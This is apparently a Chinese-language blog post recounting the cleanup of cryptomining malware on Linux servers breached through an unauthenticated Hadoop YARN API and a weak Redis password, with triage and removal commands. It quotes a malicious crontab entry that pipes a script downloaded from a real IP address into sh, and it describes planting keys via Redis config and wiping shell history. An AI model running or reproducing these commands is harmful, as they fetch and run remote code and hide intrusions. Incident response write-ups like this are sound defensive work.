挖礦程序中毒分析(有這篇夠不)

常在河邊走,哪能不溼鞋?

這不,昨天在朋友技術羣裏又見到了挖礦被中毒的場景......

挖礦程序中毒分析(有這篇夠不)

猛然間想起自己幫媳婦兒公司處理過hadoop管理平臺yarn弱口令漏洞被利用,

從而成爲挖礦者俘虜的往事。

以前案例現象:

訪問yarn:8088頁面發現一直有任務在跑如圖:

挖礦程序中毒分析(有這篇夠不)

用戶爲dr.who,問下內部使用人員,都沒有任務在跑;

結論:

服務器被中毒了,者利用Hadoop Yarn資源管理系統REST API未授權漏洞對服務器進行,***者可以在未授權的情況下遠程執行代碼的安全問題進行預警。

用top命令發現cpu使用了360%多,系統會很卡。

解決辦法:

1,通過查看佔用cpu高得進程,kill掉此進程

2,檢查/tmp和/var/tmp目錄,刪除java、ppc、w.conf等異常文件

3 ,通過crontab -l 查看有一個 * wget -q -O - http://46.249.38.186/cr.sh | sh > /dev/null 2>&1任務,刪除此任務

4,排查YARN日誌,確認異常的application,刪除處理

再通過top驗證看是否還有高cpu進程,如果有,kill掉,沒有的話應該正常了。

注意:YARN提供有默認開放在8088和8090的REST API(默認前者)允許用戶直接通過API進行相關的應用創建、任務提交執行等操作,如果配置不當,REST API將會開放在公網導致未授權訪問的問題,那麼任何則就均可利用其進行遠程命令執行,從而進行挖礦等行爲,直接利用開放在8088的REST API提交執行命令,來實現在服務器內下載執行.sh腳本,從而再進一步下載啓動挖礦程序達到挖礦的目的,因此注意並啓用Kerberos認證功能,禁止匿名訪問修改8088端口

挖礦程序中毒分析(有這篇夠不)

於是,自告奮勇,以爲還是類似的情景。
挖礦程序中毒分析(有這篇夠不)
技技術羣對話~~

挖礦程序中毒分析(有這篇夠不)

挖礦程序中毒分析(有這篇夠不)

挖礦程序中毒分析(有這篇夠不)

挖礦程序中毒分析(有這篇夠不)

挖礦程序中毒分析(有這篇夠不)
挖礦程序中毒分析(有這篇夠不)
加密的腳本內容:

挖礦程序中毒分析(有這篇夠不)

解密後腳本節選:

挖礦程序中毒分析(有這篇夠不)

挖礦程序中毒分析(有這篇夠不)

挖礦程序中毒分析(有這篇夠不)

挖礦程序中毒分析(有這篇夠不)

於是忍不住了,
挖礦程序中毒分析(有這篇夠不)

問了下自己遠程連接操刀

刪除了幾番試試,

按照腳本反其道而行之,

結果還是殺不乾淨.top能看到cpu 100%爆滿.

就是看不清是那個程序佔用.?

由於網絡延時,沒截圖。

於是想肯定是top被替換了,

繼續看了一下腳本,

原來是一張圖片內嵌至僞造的同名庫文件裏,

同時庫文件調用了下載程序的執行腳本,

top一下程序自動運行,並且子孫無窮盡。

挖礦程序中毒分析(有這篇夠不)

挖礦程序中毒分析(有這篇夠不)
(腳本是解密後放在自己服務器截的圖)

本想幹掉這個top的庫文件,

但由於命名的誘惑性,

外加上殺不乾淨的程序,

當執行rm -rf時,

也明顯感受到對方朋友的緊張。

於是瞭解業務後,

發現機器影響的業務並不嚴重.

也快下班了,於是不想再折騰了。

挖礦程序中毒分析(有這篇夠不)

挖礦程序中毒分析(有這篇夠不)

挖礦程序中毒分析(有這篇夠不)

挖礦程序中毒分析(有這篇夠不)
仔細再次溜了一遍腳本,

想再裝系統之前和對方朋友漲漲姿勢的,

但感覺到對方朋友

其實並不是樂意於徹底學習這個問題,

於是建議其重裝。

事後,坐地鐵總結了一下。

挖礦程序中毒分析(有這篇夠不)

常見的挖礦中毒程序處理方式

處理過程的思路和建議方法。

1.服務器怎麼會中挖礦***程序

肉雞 弱口令 webshell xss 軟件漏洞bug redis zk mysql 0day yarn等造成服務器被掃描並且提權。

2 首先遇到這樣情況,我們殺掉挖礦的程序它會自己起來

沒清理乾淨 定時任務 命令修改 開機自啓動文件 歷史記錄

3.如何處理?

首先根據業務判定,造成業務故障,可選用HA方案切走應用服務,對服務器進行下架切斷一切網絡來源,進行相關處理。

當然一般處理方案是這樣,首先通過iptables或者firewalls防火牆手段封死***者地址,類似與切斷網絡來源,接下來我們就可以進行分析和處理挖礦的原因。

處理的方式 可以根據挖礦腳本進行分析 一個一個進行處理 對修改的命令和文件進行恢復和刪除 。

後期對系統和web進行安全測試,對系統漏洞進行修復.

Linux後門入 侵檢測工具chkrootkit、RKHunter等的巡檢。

系統文件MD5值的對比。其實安全最大的因素是人。

當然監控也非常重要。

4.此次原因分析

Redis存在弱口令導致的此次故障問題,Redis可以通過config配置方式 修改配置目錄將自己的key放在服務器上,以達到服務器提權的目的。

Redis 未授權訪問缺陷可輕易導致系統被黑:

https://www.seebug.org/vuldb/ssvid-89715

筆者建議出現類似事故後處理的命令:

查看哪個進程佔據cup

通過 top 或者使用 ps aux

這個案例通過top 命令看不到哪個進程佔用了cup ,查看腳本後執行 cat /etc/ld.so.preload 裏面也加載了異常的文件,判斷是用於隱藏進程用的, 建議將其內容註釋掉或刪除,執行ldconfig 然後再使用top 查看下進程;

!挖礦程序中毒分析(有這篇夠不)

疑點:

腳本里面圖片在瀏覽器能打開,本地打不開.懷疑是隱寫術(微信後臺傳不來)
挖礦程序中毒分析(有這篇夠不)

本地打不開,隱寫工具也打不開。

挖礦程序中毒分析(有這篇夠不)

使用 ls -lt /etc | head 查看最近變動的文件目錄

或者使用 find 命令加參數 stat 查找最近修改過的文件

當然如果是細心一些的,還是會修改掉文件change時間點的.

查找進程文件刪除,執行其中任意 1 條命令即可  

ps -ef | grep shutdown [命令]

ps aux | grep /bin/bash [命令路徑]

ps aux | grep bash [命令]

lsof -p PID

cd /proc/4170 [pid]

挖礦程序中毒分析(有這篇夠不)
找出系統中所有的殭屍進程

ps aux | grep 'defunct'  

ps -ef | grep defunct | grep -v grep | wc -l

清理殭屍進程 

ps -e -o ppid,stat | grep Z | cut -d" " -f2 | xargs kill -9

kill -HUP ps -A -ostat,ppid | grep -e '^[Zz]' | awk '{print $2}'

挖礦程序中毒分析(有這篇夠不)

查找系統中的定時任務

crontab -l

或者

cd /var/spool/cron #查看這個文件夾下的文件刪除

vim /etc/crontab

裏面會有一個定時任務並且一般刪不掉。 瀏覽器打開網址是個腳本,通過base64 加密,解密即可看到腳本內容。

還要注意隨機啓動腳本.

根據腳本刪除腳本創建的文件,我這裏期望刪除的是

/usr/local/lib/dns.so ,/etc/ld.so.preload

查看系統登錄日誌

日誌文件 /var/log/wtmp ,系統的每一次登錄,都會在此日誌中添加記錄,爲了防止有人篡改,該文件爲二進制文件

cd /var/log ; last 或者 last -f /var/log/wtmp

當然這個案例裏面日誌都是被清掉的.
挖礦程序中毒分析(有這篇夠不)

刪除歷史操作命令,防止***進入查看你做了哪些操作

history 命令來查看歷史命令

挖礦程序中毒分析(有這篇夠不)
history -c 是清除當前shell的歷史紀錄,因爲系統一般會把信息保存在一個文件中,只要文件中內容沒有改變,那麼信息也不會變。linux中存放歷史命令的文件是.bash_history,清空該文件(echo ‘’ > /root/.bash_history),那些歷史命令就會被清空了。

如果是在shell腳本中調用 history -c 清空當前shell的歷史命令,是不會成功的,因爲bash執行命令時默認是會產生一個子進程來執行該命令,在子進程中執行 history -c 不是清除你當前shell的歷史命令了。

可以使用source來執行腳本(source ./腳本),source 指在當前bash環境下執行命令。

關閉不需要的端口

屏蔽訪問腳本中的域名 ip,關閉訪問挖礦服務器的訪問

iptables -A INPUT -s xmr.crypto-pool.fr -j DROP iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP

如果安裝了redis ,修改redis 端口,設置複雜高一些密碼 。

挖礦程序中毒分析(有這篇夠不)

挖礦程序中毒分析(有這篇夠不)

大佬們看完多多留言指教。

就此別過!

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章